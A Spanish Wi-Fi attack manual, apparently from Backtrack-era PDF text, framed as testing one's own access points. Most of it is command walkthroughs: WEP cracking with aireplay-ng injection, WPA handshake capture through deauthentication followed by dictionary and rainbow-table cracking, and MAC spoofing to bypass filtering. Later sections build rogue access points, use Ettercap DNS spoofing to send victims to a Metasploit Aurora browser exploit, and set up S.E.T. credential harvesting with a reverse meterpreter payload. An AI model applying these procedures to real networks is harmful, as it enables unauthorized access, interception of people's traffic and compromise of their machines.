Está en la página 1de 53

#breaking80211

Aetsu

Esta obra se encuentra bajo la licencia Creative Commons 3.0 Espaa:

ndice
Introduccin .................................................. 3 Materiales/Herramientas utilizados ............................ 4 Conceptos bsicos ............................................. 5 -> Cambiar direccin MAC .................................... 5 -> Modo monitor ............................................. 5 Cifrado WEP ................................................... 6 -> Ataque 1+3 ............................................... 6 -> Ataque Chop Chop ......................................... 10 -> Ataque fragmentacin ..................................... 14 -> Hirte Attack ............................................. 17 -> Caffe Late Attack ........................................ 19 Cifrado WPA ................................................... -> Obteniendo el handshake .................................. -> Obteniendo la contrasea: Aircrack-ng .................... -> Obteniendo la contrasea: coWPAtty ....................... -> Obteniendo la contrasea: Pyrit .......................... -> Obteniendo la contrasea: Rainbow Tables ................. -> Rainbow Tables -> coWPAtty ............................... -> Rainbow Tables -> Pyrit .................................. Otras defensas ................................................ -> Filtrado MAC ............................................. -> Ataque de desasociacin .................................. -> ESSID oculto ............................................. 20 20 22 24 25 26 26 27 28 28 29 30

Descifrar capturas ............................................ 32 -> Airdecap-ng + WEP ........................................ 32 -> Airdecap-ng + WPA ........................................ 32 Ataques sociales -- Creacin de puntos de acceso .............. 33 -> Airbase-ng + brctl ....................................... 33 -> Airbase-ng + iptables .................................... 35 Ataque sociales -- Ataques en LAN ............................. 38 -> DNS-spoofing con Ettercap y Metasploit ................... 38 -> S.E.T. ................................................... 41 Ataques sociales -- Todo en uno ............................... 47 -> Karmetasploit ............................................ 47 Documentacin................................................... 53 2

Introduccin
Ya hacia tiempo que no hacia ningn manual para la comunidad, as que, en este documento intentar reunir la mayor parte de ataques a redes wifi, mostrando de una forma fcil y lo ms prctica posible todos los pasos necesarios para realizarlos a fin de probar la seguridad de nuestros puntos de acceso. Adems mostrar algunos de los ataques de los que podemos ser vctima si nos conectamos a AP sospechosos abiertos. Para acometer los ataques a los puntos de acceso (AP), utilizar principalmente herramientas contenidas en la suite aircrack-ng, aunque las acompaar, a la hora de descifrar la contrasea de los AP, con otras utilidades como son coWPAtty o Pyrit. En la parte en la que veremos las consecuencias de conectarnos a puntos de acceso desconocidos, mostrar parte del potencial de programas como Ettercap, Metasploit o S.E.T. Todas estas herramientas las ejecutar sobre Backtrack 5 R1, ya que es una distribucin GNU/Linux muy utilizada en el tema de la seguridad y contiene todas las herramientas descritas antes. Sin mas prembulo, empecemos con lo entretenido ;) Aetsu

Mater iales/Her ramientasutilizados


Sistemas operativos utilizados:
- Backtrack 5 R1: Utilizar este sistema operativo virtualizado sobre VirtualBox para todo el manual, excepto para una seccin que comentar a continuacin. - Archlinux: Este es mi sistema operativo base y se utiliza nicamente para la parte de Pyrit que requiere utilizar las GPUs de la tarjeta grfica con lo que no poda ser realizada desde el SO virtualizado.

Hardware utilizado:
- Tarjeta ALFA AWUSO36H con chipset rtl8187L.

- Tarjeta grfica NVIDIA GeForce GT 540M 2GB utilizada en la parte de Pyrit.

Software utilizado:
- Suite Aircrack-ng. - coWPAtty. - Pyrit. - Ettercap. - Metasploit. - S.E.T.

Conceptosbsicos
Cambiar la direccin MAC
>>>>> Informacin MAC (Wikipedia): http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC - Direccin MAC al azar: sintaxis macchanger -r <interfaz>

- Direccin MAC especifica: sintaxis macchanger -m <nueva mac> <interfaz>

Modo monitor
>>>>> Informacin modo monitor (Wikipedia): http://en.wikipedia.org/wiki/Monitor_mode - Habilitar modo monitor: sintaxis airmon-ng start <interfaz de red>

CifradoWEP
>>>>> Informacin WEP (Wikipedia): http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy

Ataque 1 + 3
Partimos de tener nuestra tarjeta en modo monitor, con lo que ahora pasar a ser mon0. 1. Buscamos la red objetivo con airodump-ng: sintaxis airodump-ng <interfaz en modo monitor> airodump-ng mon0

Analicemos ahora lo que vemos en la captura: BSSID: La direccin MAC del AP (punto de acceso). PWR: La intensidad de seal que recibimos del AP. Beacons: Son tramas no validos para nuestra auditoria de la red. #Data: Paquetes de datos vlidos, estos son los que nos interesan. #/S: Aqu vemos a que ritmo crecen los #Data, es til para ver a que velocidad estamos inyectando. CH: El canal sobre el que opera el AP. MB: Velocidad del AP. -- 11 802.11b // 54 802.11g ENC, CIPHER, AUTH: Estos 3 campos estn relacionados con la cifrado. ESSID: El nombre del AP.

2. Nuestro objetivo ser la red con ESSID wireless, pero antes de continuar probaremos si nuestra tarjeta puede inyectar en el AP: sintaxis aireplay-ng -9 -b <BSSID del AP> -e <ESSID del AP> <interfaz>

aireplay-ng -9 -b 00:11:22:33:44:55 -e wireless mon0

3. Una vez comprobado que podemos inyectar procederemos a capturar el trafico de la red objetivo con airodump-ng: sintaxis airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0

4. Ahora ya tenemos airodump-ng capturando trafico para un AP especifico, nuestro siguiente paso sera asociarnos al punto de acceso, para ello abrimos otra terminal y lanzamos aireplay-ng: sintaxis aireplay-ng -1 <tiempo entre cada asociacin> -e <ESSID del AP> -a <BSSID del AP> -h <nuestra mac> <interfaz> aireplay-ng -1 10 -e wireless -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

5. Una vez ya estemos asociados (la carita sonriente :-) de la imagen anterior nos lo confirmar), podemos inyectar trfico para aumentar los #Data capturados con airodump-ng (punto 3) con el fin de poder obtener la contrasea ms rpido. Para este cometido volveremos a utilizar aireplay-ng (en otra terminal): sintaxis aireplay-ng -3 -x <velocidad de inyeccin> -b <BSSID del AP> -h <nuestra mac> <interfaz> aireplay-ng -3 -x 300 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

6. Lo siguiente ser ver como en la terminal con el airodump-ng aumentan de forma rpida los #Data (puede tardar un rato en empezar la inyeccin):

y tambin veremos en la terminal del aireplay-ng -3 los ARP aumentar:

7. Una vez tengamos entre ms de 20000 #Data podemos empezar a descifrar la clave con aircrack-ng: sintaxis aircrack-ng <archivo captura .cap>

aircrack-ng captura.cap

RESUMEN1+3
1. airmon-ng start <interfaz de red> 2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> 3. aireplay-ng -1 <tiempo entre cada asociacin> -e <ESSID del AP> -a <BSSID del AP> -h <nuestra mac> <interfaz> 4. aireplay-ng -3 -x <velocidad de inyeccin> -b <BSSID del AP> -h <nuestra mac> <interfaz> 5. aircrack-ng <archivo captura .cap>

Ataque Chop Chop


El ataque Chop Chop no siempre funciona, pero si lo hace, es ms rpido que el ataque 1+3. Partimos de tener nuestra tarjeta en modo monitor, con lo que ahora pasar a ser mon0, adems de tener airodump-ng capturando (opcin -w incluida para guardar los datos capturados) y con aireplay-ng -1 funcionando y asocindonos al AP. A partir de aqu: 1. Abrimos una terminal y lanzamos el ataque Chop Chop con aireplay-ng: sintaxis aireplay-ng -4 -b <BSSID del AP> -h <nuestra MAC> <interfaz> aireplay-ng -4 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0 esperamos a que encuentre un paquete vlido y nos preguntar: Use this packet? Entonces contestamos yes:

Ahora esperamos un poco y crear un nuevo archivo .cap y un archivo .xor con lo que aparecer esto: 10

2. A continuacin ejecutamos tcpdump sobre el archivo .cap generado antes: sintaxis tcpdump -s 0 -n -e -r <archivo .cap generado antes> tcpdump -s 0 -n -e -r replay_dec-1015-173905.cap

Tenemos que prestar atencin a la ip que aparece en el texto ya que la utilizaremos ahora. 3. Forjamos un nuevo paquete de datos con packetforge-ng: sintaxis packetforge-ng -0 -a <MAC del AP> -h <nuestra MAC> -k <ip dentro del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo que reinyectaremos> packetforge-ng -0 -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff -k 192.168.1.255 -l 192.168.1.33 -y replay_dec-1015-173905.xor -w arp

Una vez ponga: Wrote packet to: <archivo que reinyectaremos> ya hemos completado este paso. 4. Lo siguiente ser reinyectar el paquete creado, para ello nos valdremos de aireplay-ng: sintaxis aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior> <interfaz>

aireplay-ng -2 -h aa:bb:cc:dd:ee:ff -r arp

11

y pronto veremos como la terminal que tenamos capturando trfico con airodump-ng empieza a subir rpidamente los #Data:

Por ltimo como en el paso anterior, con ms de 20000 #Data lanzaremos aircrack-ng.

12

RESUMENCHOPCHOP
1. airmon-ng start <interfaz de red> 2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> 3. aireplay-ng -1 <tiempo entre cada asociacin> -e <ESSID del AP> -a <BSSID del AP> -h <nuestra mac> <interfaz> 4. aireplay-ng -4 -b <BSSID del AP> -h <nuestra MAC> <interfaz> 5. tcpdump -s 0 -n -e -r <archivo .cap generado antes> 6. packetforge-ng -0 -a <BSSID del AP> -h <nuestra MAC> -k <ip dentro del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo a reinyectar> 7. aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior> <interfaz> 8. aircrack-ng <archivo de captura .cap>

13

Ataque Fragmentacin
Este ataque tambin es ms rpido que el ataque 1+3, pero como el ataque chop chop no siempre funciona. Como en el ataque anterior partimos de tener nuestra tarjeta en modo monitor, con lo que ahora pasar a ser mon0, adems de tener airodump-ng capturando (opcin -w incluida para guardar los datos capturados) y con aireplay-ng -1 funcionando y asocindonos al AP. A partir de aqu: 1. Abrimos una terminal y lanzamos el ataque de Fragmentacin: sintaxis aireplay-ng -5 -b <BSSID del AP> -h <nuestra MAC> <interfaz> aireplay-ng -5 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

esperamos a que encuentre un paquete vlido y nos preguntar: Use this packet? Entonces contestamos yes:

14

2. Forjamos un nuevo paquete de datos con packetforge-ng: sintaxis packetforge-ng -0 -a <MAC del AP> -h <nuestra MAC> -k <ip dentro del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo que reinyectaremos> packetforge-ng -0 -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff -k 192.168.1.255 -l 192.168.1.33 -y replay_dec-1015-173905.xor -w arp

Una vez ponga: Wrote packet to: <archivo que reinyectaremos> ya hemos completado este paso. 3. Lo siguiente ser reinyectar el paquete creado, para ello nos valdremos de aireplay-ng: sintaxis aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior> <interfaz> aireplay-ng -2 -h aa:bb:cc:dd:ee:ff -r arp

y pronto veremos como la terminal que tenamos capturando trfico con airodump-ng empieza a subir rpidamente los #Data:

15

Por ltimo como en el paso anterior, con ms de 20000 #Data lanzaremos aircrack-ng.

RESUMENFRAGMENTACIN
1. airmon-ng start <interfaz de red> 2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> 3. aireplay-ng -1 <tiempo entre cada asociacin> -e <ESSID del AP> -a <BSSID del AP> -h <nuestra mac> <interfaz> 4. aireplay-ng -5 -b <BSSID del AP> -h <nuestra MAC> <interfaz> 5. packetforge-ng -0 -a <BSSID del AP> -h <nuestra MAC> -k <ip dentro del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo a reinyectar> 6. aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior> <interfaz> 7. aircrack-ng <archivo de captura .cap>

16

Hirte Attack
Este ataque es distinto a los anteriores y se ejecuta de una forma no muy difcil, pero si diferente. Para realizarlo dependemos de que haya algn cliente conectado al punto de acceso objetivo. >>>>> Documentacion airbase-ng: http://www.aircrack-ng.org/doku.php?id=airbase-ng En este ataque partiremos de tener nuestra tarjeta en modo monitor, con lo que ahora pasar a ser mon0, adems de tener airodump-ng capturando (opcin -w incluida para guardar los datos capturados). Con esto ya preparado: 1. Primero crearemos un punto de acceso falso con airbase-ng. Este punto de acceso tendr el mismo canal y essid que el AP objetivo. sintaxis airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> -N -W 1 <interfaz> airbase-ng -c 11 -e wireless -N -W 1 mon0

lo siguiente ser esperar a que el cliente asociado al AP original haga el resto del trabajo danzando entre nuestro AP falso y el original con lo que incrementara nuestros #Data.

Al final aircrack-ng ser el encargado de descifrar la contrasea con el archivo de captura .cap como en los otros ataques.

17

RESUMEN HIRTE ATTACK


1. airmon-ng start <interfaz de red> 2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>
3. airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> -N -W 1 <interfaz>

4. aircrack-ng <archivo de captura .cap>

18

Caffe Latte Attack


Este ataque, al igual que el de fragmentacin es distinto a los anteriores y se ejecuta de una forma no muy difcil, pero si diferente. Para realizarlo dependemos de que haya algn cliente conectado al punto de acceso objetivo. Su ejecucin es muy similar a la del Hirte Attack, de hecho su principal diferencia es la forma de inyectar. En este ataque partiremos de tener nuestra tarjeta en modo monitor, con lo que ahora pasar a ser mon0, adems de tener airodump-ng capturando (opcin -w incluida para guardar los datos capturados). Con esto ya preparado: 1. Primero crearemos un punto de acceso falso con airbase-ng. Este punto de acceso tendr el mismo canal y essid que el AP objetivo. sintaxis airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> -L -W 1 <interfaz> airbase-ng -c 11 -e wireless -L -W 1 mon0

y como antes, lo siguiente ser esperar a que el cliente asociado al AP original haga el resto del trabajo danzando entre nuestro AP falso y el original con lo que incrementara nuestros #Data. Al final aircrack-ng ser el encargado de descifrar la contrasea con el archivo de captura .cap como en los otros ataques.

RESUMEN CAFFE LATTE ATTACK


1. airmon-ng start <interfaz de red> 2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>
3. airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> -L -W 1 <interfaz>

4. aircrack-ng <archivo de captura .cap>

19

CifradoWPA
>>>>> Informacin WPA (Wikipedia): http://es.wikipedia.org/wiki/Wi-Fi_Protected_Access
El ataque sobre redes WPA principalmente se basa en obtener el handshake o acuerdo de cuatro vas que permite al cliente y al punto de acceso negociar las claves utilizadas para cifrar el trfico enviado. Una vez obtenido intentar obtener la contrasea del punto de acceso mediante un ataque de diccionario.

Obteniendo el Handshake
Para obtener el handshake tenemos dos opciones, o bien esperamos a que se conecte un cliente al punto de acceso, o forzamos a un cliente conectado a reconectarse. Comentaremos la segunda opcin puesto que es la que requiere trabajo por nuestra parte. 1. Primero pondremos a airodump-ng a capturar paquetes con el fin de obtener el handshake: sintaxis airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0

2. Como vemos en la imagen hay un cliente asociado al punto de acceso, entonces utilizaremos aireplay-ng para forzarlo a que vuelva a asociarse. sintaxis aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz> aireplay-ng -0 0 -a 00:11:22:33:44:55 -c aa:bb:cc:dd:ee:ff mon0

20

3. Como vemos el cliente empieza a recibir paquetes y no tardara en desconectarse del punto de acceso, con lo que ya podremos detener la terminal anterior (la que contiene el aireplay-ng -0).

4. Cuando el cliente vuelva a conectarse al punto de acceso obtendremos el handshake (aparecer en la parte superior derecha de la ventana con el airodump-ng):

5. Si queremos comprobar si ya tenemos el handshake almacenado en nuestro archivo de captura (.cap), podemos utilizar aircrack-ng para verlo: sintaxis aircrack-ng <archivo de captura .cap> aircrack-ng captura-01.cap

21

RESUMEN OBTENIENDO EL HANDSHAKE


1. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz> 2. aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>

3. aircrack-ng <archivo de captura .cap>

Obteniendo la contrasea
Primero intentaremos obtener la contrasea con aircrack-ng, despues repetiremos el mismo proceso con coWPAtty y al final con Pyrit aprovechando as las gpu de la tarjeta grfica para calcular la contrasea. A continuacin intentaremos descifrar la contrasea mediante Rainbow Tables, veremos como crearlas y las utilizaremos junto con coWPAtty y Pyrit. Aclarar que se utilizara el mismo diccionario en todos los programas, el cual contiene 86190 palabras, aunque no es muy extenso cumple su cometido para la demostracin.

Obteniendo la contrasea: Aircrack-ng


1. Primero comprobamos que el handshake se encuentra en la captura: sintaxis aircrack-ng <archivo de captura .cap> aircrack-ng captura-01.cap

22

2. A continuacin lanzamos lanzaremos aircrack-ng junto con un diccionario para empezar a buscar la contrasea: sintaxis aircrack-ng <archivo de captura .cap> -w <diccionario> aircrack-ng -w diccionario captura-01.cap

En la ventana del aircrack-ng podremos observar la contrasea que esta comprobando en este momento, as como el tiempo que lleva trabajando.

3. Al final vemos como ha encontrado la contrasea (ha tardado 45 segundos), lgicamente como mas grande sea el diccionario empleado mas tiempo tardar en encontrarla, o si esta no est en el diccionario obtendremos resultado.

23

Obteniendo la contrasea: coWPAtty


1. Lanzamos coWPAtty junto con un diccionario y el essid del punto de acceso para para empezar a buscar la contrasea: sintaxis cowpatty -f <diccionario> -s <ESSID del AP> -r <archivo de captura .cap> cowpatty -f diccionario -s wireless -r captura-01.cap

Nos ir mostrando las contraseas comprobadas y al final nos mostrar la correcta (si la encuentra).

24

Obteniendo la contrasea: Pyrit


1. Con Pyrit podemos comprobar que la captura contiene el handshake mediante la opcin analyze: sintaxis pyrit -r <archivo de captura .cap> analyze pyrit -r captura-01.cap analyze

2. E intentamos obtener la contrasea mediante la opcin attack_passthrough: sintaxis pyrit -r <archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough pyrit -r captura-01.cap -i diccionario -b 00:11:22:33:44:55 attack_passthrough

RESUMEN OBTENIENDO LA CONTRASEA


AIRCRACK-NG

aircrack-ng <archivo de captura .cap> -w <diccionario>


COWPATTY cowpatty -f <diccionario> -s <ESSID del AP> -r<archivo de captura .cap> PYRIT
pyrit -r<archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough

25

Obteniendo la contrasea: Rainbow Tables


1. Creamos las rainbow tables con genpmk (viene con la herramienta coWPAtty) sintaxis genpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP> genpmk -f diccionario -ddic.genpkm -s wireless

La rainbow table tardar bastante en crearse, dependiendo de su tamao:

Rainbow Tables coWPAtty


1. Una de las opciones para utilizar las rainbow tables es coWPAtty: sintaxis cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2 cowpatty -d dic.genpkm -r captura-01.cap -s wireless -2

26

Rainbow Tables Pyrit


1. Otra posibilidad para utilizar las rainbow tables es Pyrit con la que aprovecharemos las GPU de nuestra grfica (si esta lo permite): sintaxis pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty pyrit -r captura-01.cap -i dic.genpkm -b 00:11:22:33:44:55 attack_cowpatty

RESUMEN OBTENIENDO LA CONTRASEA: RAINBOW TABLES


genpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP> COWPATTY cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del PYRIT
pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty

AP> -2

27

Otrasdefensas
Filtrado MAC
>>>>> Informacin filtrado MAC (Wikipedia): http://en.wikipedia.org/wiki/MAC_filtering Primero intentamos asociarnos al punto de acceso y vemos que este no nos lo permite, entonces es posible que el filtrado MAC est habilitado, con lo que si nuestra direccin MAC no est en la lista de direcciones permitidas no podremos conectarnos al punto de acceso.

Para solucionar este inconveniente buscaremos un cliente asociado al punto de acceso, airodump-ng nos permite averiguar esto. - Activamos el modo monitor y ponemos airodump-ng a captura paquetes: sintaxis airmon-ng start <interfaz de red> sintaxis airodump-ng <interfaz en modo monitor>

Para saber que cliente esta conectado a que AP, vemos los campos que nos interesan de lo que nos muestra airodump-ng. Nuestro objetivo en este ejemplo es el punto de 28

acceso wireless (columna mitad superior BSSID), que tiene una direccin MAC asociada (columna mitad superior BSSID), entonces para encontrar un cliente asociado a ese punto de acceso, buscamos en la columna BSSID de la mitad inferior una MAC que coincida con la columna BSSID de la mitad superior. Una vez la encontremos veremos que en la columna STATION (mitad inferior) aparecer la MAC de un cliente asociado al AP objetivo. Una vez encontremos un cliente que est conectado apuntaremos su MAC. A continuacin esperaremos a que ese cliente se desconecte y con macchanger cambiaremos nuestra MAC por la del cliente que antes estaba conectado: sintaxis macchanger -m <nueva mac> <interfaz>

Por ltimo veremos que ya nos es posible asociarnos:

Ataque de desasociacin
Un ataque de desasociacin sobre un cliente nos permite desconectarle de un punto de acceso. Con airodump-ng vemos los clientes conectados al punto de acceso wireless.

29

Ahora desasociaremos al cliente asociado al punto de acceso: sintaxis aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz en modo monitor>

Entonces veremos como en la pestaa en donde tengamos a airodump-ng capturando trfico, los paquetes de la columna Lost empiezan a subir hasta que el cliente se desconectar del AP.

ESSID oculto
Tambin es posible que no podamos ver el ESSID de un punto de acceso, es decir, que en lugar del nombre (por ejemplo wireless) aparecer <length: 0>. Primero pondremos a airodump-ng capturando trfico:

Lo siguiente ser esperar a que un usuario se conecte al punto de acceso o desasociamos a un cliente ya conectado (el ataque de desasociacin visto en el punto anterior) forzando que vuelva a conectarse. Una vez suceda uno de los dos acontecimientos deseados veremos revelado el nombre (ESSID) del punto de acceso. 30

31

Descifrarcapturas
>>>>> Documentacion airdecap-ng: http://www.aircrack-ng.org/doku.php?id=airdecap-ng Con airdecap-ng podemos descifrar capturas con cifrado WEP/WPA y WPA2 (previo conocimiento de contrasea y handshake en el caso de WPA/WPA2) para su posterior anlisis con herramientas como wireshark.

Airdecap-ng + WEP
sintaxis airdcap-ng -w <password> <captura cifrada .cap> airdecap-ng -w 31:32:33:34:35:36:37:38:39:31:32:33:34 capturaWep-01.cap

Como nota importante el password tiene que estar en hexadecimal.

Airdecap-ng + WPA/WPA2
sintaxis airdcap-ng -e <essid> -p <password> <captura cifrada .cap> airdecap-ng -e wireless -p 1234567891234 captura-01.cap

En WPA/WPA2 el passphrase no tiene que escribirse en hexadecimal y hay que tener en cuenta que la captura que intentamos descifrar contiene el handshake del punto de acceso.

32

Ataques sociales -- Creacin de puntos de acceso


En los ataques anteriores eramos nosotros los que atacbamos los puntos de acceso, pero en este apartado nos centraremos en crear puntos de acceso falsos para que las victimas se conecten a ellos, demostrando que no es muy buena idea conectarse a un punto de acceso abierto. Recalcar que para los ataques sociales necesitaremos dos interfaces de red.

Airbase-ng + brctl
En este punto crearemos un punto de acceso con airbase-ng y le daremos conexin a los clientes que se conecten a l mediante una interfaz puente con brctl. >>>>> Documentacion airbase-ng: http://www.aircrack-ng.org/doku.php?id=airbase-ng >>>>> Documentacion brctl: http://linuxcommand.org/man_pages/brctl8.html Partimos de que tenemos conectado el pc mediante cable de red (en el ejemplo interfaz eth0) a un router con acceso a Internet. 1. Primero crearemos un punto de acceso con airbase-ng. sintaxis airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> <interfaz en modo monitor> airbase-ng -P -C 30 -c 6 -e APfalso mon0

2. En otra terminal utilizaremos brctl para crear un puente entre la interfaz que nos suministra Internet (eth0) y la interfaz que crea airbase-ng (at0). Este puente lo llamaremos puente: sintaxis brctl addbr <nombre del puente> sintaxis brctl addif <nombre del puente> <interfaz a agregar al puente> sintaxis brctl addif <nombre del puente> <interfaz a agregar al puente> brctl addbr puente brctl addif puente eth0 brctl addif puente at0

33

3. Borramos la configuracin de las interfaces de red utilizadas y habilitamos el ip forwarding: sintaxis ifconfig <interfaz de red> 0.0.0.0 up sintaxis ifconfig <interfaz de red airbase-ng> 0.0.0.0 up sintaxis echo 1 > /proc/sys/net/ipv4/ip_forward ifconfig eth0 0.0.0.0 up ifconfig at0 0.0.0.0 up echo 1 > /proc/sys/net/ipv4/ip_forward

4. Habilitamos la interfaz puente y lanzamos el cliente dhcp sobre ella. sintaxis ifconfig <interfaz puente> up sintaxis dhclient3 <interfaz puente>

Por ltimo solo nos queda esperar que los clientes se conecten a nuestro punto de acceso, cosa que veremos reflejada en la terminal con el airbase-ng:

34

Airbase-ng + iptables
Misma idea que el punto anterior, salvo que ahora los clientes se conectaran a una subnet creada por nosotros. 1. Primero crearemos un punto de acceso con airbase-ng. sintaxis airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> <interfaz en modo monitor> airbase-ng -P -C 30 -c 6 -e APfalso mon0

2. Ahora configuraremos iptables para que redirija todo el trafico de la interfaz at0 creada por airbase-ng a la interfaz que tiene acceso a Internet (eth1), despus habilitamos ip forwarding: sintaxis iptables -t nat -A POSTROUTING -o <interfaz acceso Internet> -j MASQUERADE sintaxis iptables -A INPUT -s 10.0.0.0/24 -i <interfaz airbase-ng> -j ACCEPT sintaxis echo "1" >/proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE iptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPT echo "1" >/proc/sys/net/ipv4/ip_forward

3. Ahora configuraremos el servidor dhcp y lo guardaremos donde queramos, en mi caso en /etc/dhcp3/dhcpd.conf: option domain-name-servers 192.168.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 192.168.0.1; }

35

Donde: option domain-name-servers 192.168.0.1 es el servidor DNS, en nuestro caso el router, aunque si tuviramos nuestro propio servidor DNS configurado nos seria til para un DNS spoofing por poner un ejemplo. subnet 10.0.0.0 netmask 255.255.255.0 { direccin de red y mscara de la subred. range 10.0.0.100 10.0.0.254; rango de direcciones que tendrn disponible los clientes que se conecten. option routers 10.0.0.1; el router de la subred que ser la interfaz de airbaseng. option domain-name-servers 192.168.0.1; DNS de la subred.

4. El siguiente paso es habilitar la interfaz at0, asignarle una ip para que trabaje correctamente con nuestro servidor dhcp y lanzarlo: sintaxis ifconfig <interfaz airbase-ng> up 10.0.0.1 netmask 255.255.255.0 sintaxis dhcpd3 -cf <lugar donde esta la configuracion del servidor dhcp> <interfaz airbase-ng> ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

36

Por ltimo solo nos queda esperar a que alguien se conecte al punto de acceso, cosa que airbase-ng reflejar de la siguiente forma:

37

Ataques sociales Ataques en LAN


Una vez tenemos clientes asociados a nuestro punto de acceso, estos se encuentran en nuestra red, con lo que son vulnerables a multitud de ataques, yo mostrar un ejemplo de un DNS-spoofing con Ettercap + Metasploit y otro con S.E.T..

DNS-spoofing con Ettercap y Metasploit


>>>>> Informacin DNS (Wikipedia): http://es.wikipedia.org/wiki/Domain_Name_System >>>>> Informacin DNS-spoofing (Wikipedia): http://es.wikipedia.org/wiki/Spoofing

1. El primer paso sera configurar el fichero para las redirecciones del DNS en /usr/local/share/ettercap/etter.dns: nano /usr/local/share/ettercap/etter.dns

Donde: www.microsoft.com > es la direccin que cuando la vctima visite ser redirigida. A > significa que es una direccin IPv4. 192.168.0.198 > es la direccin a la que ser redirigida la vctima cuando se conecte a www.microsoft.com 2. El siguiente paso es lanzar Metasploit: msfconsole

38

3. Ahora configuramos los parmetros para lanzar el exploit aurora que afecta a los navegadores: use exploit/windows/browser/ms10_002_aurora set SRVHOST 192.168.0.198 set SRVPORT 80 set URIPATH /

Si queremos informacin sobre el exploit y los parmetros que requiere tenemos el comando show options. 4. El siguiente paso es lanzar Ettercap junto con el plugin para DNS-spoofing: sintaxis ettercap -T -q -M ARP -P dns_spoof -i <interfaz conectada a la red> /<ip objetivo>/ //

39

ettercap -T -q -M ARP -P dns_spoof -i eth1 /192.168.0.200/ //

5. Por ltimo lanzaremos el exploit desde la ventana de metasploit y esperaremos que la vctima visite la direccin envenenada para que sea redirigida y visite la web del exploit.

40

S.E.T.
>>>>> Informacin S.E.T.: http://www.social-engineer.org NOTA: El siguiente ejemplo de ataque en LAN lo vi en un vdeo de un curso de Backtrack 5 en espaol (muy recomendable) y me pareci muy potente por lo que he querido hacerle referencia en este texto. 1. Abrimos S.E.T.: cd /pentest/exploits/set ./set

2. A continuacin actualizamos Metasploit y S.E.T.:

41

3. Lo siguiente ser ir interactuando por los mens, para mas informacin sobre los diferentes ataques mirad los vdeos ;) 1 Social-Engineering Attacks

2 Website Attack Vectors

42

7 Multi-Attack Web Method

2 Site Cloner url del sitio que queremos clonar

43

1 Java Applet Attack Method 2 Metasploit Browser Exploit Method 3 Credential Harvester Attack Method 6 Web Jacking Attack Method 8 I'm finished and want to proceed with the attack

11 PORT of the listener [443]: //dejamos este campo vaci y pulsamos enter Create a Linux/OSX reverse_tcp meterpreter Java Applet payload also? [yes|no]: yes

25

44

Ahora empezarn a cargarse los exploits:

Y ya tenemos listo S.E.T. esperando a que un cliente se conecte a la direccin mostrada (en este caso 192.168.1.41), con lo que solo nos quedar realizar un DNSspoofing para que un objetivo se conecte a nuestra mquina. Cuando se conecte alguien veremos como reacciona S.E.T.: 45

46

Ataques sociales Todo en uno


Karmetasploit
